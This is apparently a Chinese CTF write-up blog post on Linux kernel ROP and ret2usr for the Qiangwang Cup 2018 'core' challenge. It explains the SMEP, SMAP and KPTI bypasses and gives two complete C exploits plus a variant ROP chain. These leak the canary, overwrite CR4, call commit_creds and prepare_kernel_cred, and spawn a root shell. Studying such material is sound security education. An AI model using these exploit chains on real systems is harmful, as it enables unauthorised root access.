Kernel ROP ret2usr

针对SMAP/SMEP绕过的ret2usr

ret2usr相关保护和绕过

SMAP/SMEP

  • SMAP:管理模式访问保护
  • SMEP:管理模式执行保护

阻止内核空间直接访问/执行用户空间数据/代码

绕过方法:

  • ret2dir(详情见ret2dir)

  • Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护(1为开启,0为关闭),可以利用ROP更改CR4寄存器的值(放一张典中典的图)

KPTI

  • 内核空间和用户空间使用不同的页表集

  • 两张页表中都有对用户空间内存的完整映射,但用户空间页表只有部分内核空间内存的映射(再放一张典中典的图)

  • 内核空间页表中用户空间代码无执行权限,ret2usr彻底寄了

例题:依然是典中典强网杯2018 - core

一个小(da)插曲:ropper和ROPgadget甚至IDA找的gadget位置和实际执行的位置 不一样,我tm花了昨天一晚上+今天一早上的时间解决这个问题结果你告诉我题目的vmlinux有问题(谢谢Lantern大佬的博客,救人一命胜造七级浮屠)?????用vmlinux-to-elf重新从bzImage中提vmlinux就没事了,淦

SMAP/SMEP绕过的ret2usr

更改后的start.sh脚本

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 256M \
-cpu qemu64-v1,+smep,+smap \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
--nographic
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 #\
#-S -gdb tcp::1234

或者单独关闭KPTI

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr nopti" \
--nographic
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 #\
#-S -gdb tcp::1234

假装不知道(老晁上身( •̀ ω •́ )✧)运行一下之前的exploit

报错了捏~( ̄▽ ̄)~*

更改一下exploit,可以利用与运算将cr4的SMAP和SMEP两位清零,也可以直接给cr4赋值0x6f0

这次的exploit直接利用swapgs_restore_regs_and_return_to_usermode函数返回用户态

ropper和ROPgadget的gadget全部提取指令

1
2
ROPgadget --binary ./vmlinux > ./rop_ROP.txt
ropper -f ./vmlinux --nocolor > ./rop_ropper.txt

与操作更改cr4的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008da
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515
#define MOV_RAX_CR4_ADD_RSP_8_POP_RBX_RET 0xFFFFFFFF8106669C
#define AND_RAX_RDI_RET 0xffffffff8102b45b
#define POP_RDI_RET 0xffffffff81000b2f

size_t user_cs, user_ss, user_rflags, user_sp;

void *commit_creds = NULL, *prepare_kernel_cred = NULL;

void save_status()
{
asm volatile
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_privilige()
{
void *(*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void get_root_shell()
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. "
"Execve root shell now...\033[0m");
system("/bin/sh");
}

void core_read(int fd, char * buf)
{
ioctl(fd, 0x6677889b, buf);
}

void set_off(int fd, size_t off)
{
ioctl(fd, 0x6677889c, off);
}

void core_copy_func(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889a, nbytes);
}

int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
save_status();

int fd;
fd = open("/proc/core", 2);
if(fd < 0)
{
puts("\033[31m\033[1m[x] Failed to open the /proc/core !\033[0m");
exit(EXIT_FAILURE);
}

FILE *sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m");
exit(EXIT_FAILURE);
}

size_t addr;
char type[0x10], buf[0x50];
while(fscanf(sym_table_fd, "%lx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = (void *)addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"commit_cred:\033[0m%p\n", commit_creds);
continue;
}
if(!prepare_kernel_cred && !strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = (void *)addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"prepare_kernel_cred:\033[0m%p\n", prepare_kernel_cred);
continue;
}
}

size_t offset;
offset = (size_t)commit_creds - 0xffffffff8109c8e0;

size_t canary;
set_off(fd, 64);
core_read(fd, buf);
canary = ((size_t *)buf)[0];

size_t rop_chain[0x100];
int i;
for(i = 0; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBX_RET + offset;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0xffffffffffcfffff;
rop_chain[i++] = AND_RAX_RDI_RET + offset;
rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
rop_chain[i++] = (size_t)get_root_privilige;
rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + offset + 22;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp + 8;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x100);
core_copy_func(fd, 0xffffffffffff0000 | 0x100);
}

直接给cr4赋值的rop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for(i = 0; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RAX_RET + offset;
rop_chain[i++] = (size_t)0x6f0;
rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
rop_chain[i++] = (size_t)get_root_privilige;
rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + offset + 22;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp + 8;
rop_chain[i++] = user_ss;

KPTI绕过+纯ROP无ret2usr

就是利用swapgs_restore_regs_and_return_to_usermode没啥好说的,上exp!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008da
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53

size_t user_cs, user_ss, user_rflags, user_sp;

void *commit_creds = NULL, *prepare_kernel_cred = NULL;

void save_status()
{
asm volatile
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell()
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. "
"Execve root shell now...\033[0m");
system("/bin/sh");
}

void core_read(int fd, char * buf)
{
ioctl(fd, 0x6677889b, buf);
}

void set_off(int fd, size_t off)
{
ioctl(fd, 0x6677889c, off);
}

void core_copy_func(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889a, nbytes);
}

int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
save_status();

int fd;
fd = open("/proc/core", 2);
if(fd < 0)
{
puts("\033[31m\033[1m[x] Failed to open the /proc/core !\033[0m");
exit(EXIT_FAILURE);
}

FILE *sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m");
exit(EXIT_FAILURE);
}

size_t addr;
char type[0x10], buf[0x50];
while(fscanf(sym_table_fd, "%lx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = (void *)addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"commit_cred:\033[0m%p\n", commit_creds);
continue;
}
if(!prepare_kernel_cred && !strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = (void *)addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"prepare_kernel_cred:\033[0m%p\n", prepare_kernel_cred);
continue;
}
}

size_t offset;
offset = (size_t)commit_creds - 0xffffffff8109c8e0;

size_t canary;
set_off(fd, 64);
core_read(fd, buf);
canary = ((size_t *)buf)[0];

size_t rop_chain[0x100];
int i;
for(i = 0; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + offset;
rop_chain[i++] = POP_RCX_RET + offset;
rop_chain[i++] = (size_t)MOV_RDI_RAX_CALL_RDX + offset;
rop_chain[i++] = (size_t)commit_creds;
rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + offset + 0x16;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp + 8;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x100);
core_copy_func(fd, 0xffffffffffff0000 | 0x100);
}

需要注意两点:

  • 将pop_rcx_ret地址压入rdx:pop rcx(add rsp, 8)后ret就能继续执行之后的rop链,巧妙( •̀ ω •́ )✧

  • swapgs_restore_regs_and_return_to_usermode+0x16:如果直接从swapgs_restore_regs_and_return_to_usermode+0x36(mov rdi, cr3)开始执行之后pop rax会因为用户态无法访问内核态栈而报错

    +0x16到+0x36之间的一系列操作相当于把栈移到用户态可以访问的内核空间并把栈上的内容一起移了过去,这样pop的时候就不会报错了


Kernel ROP ret2usr
http://akaieurus.github.io/2023/08/04/kernel-rop-ret2usr/
作者
Eurus
发布于
2023年8月4日
许可协议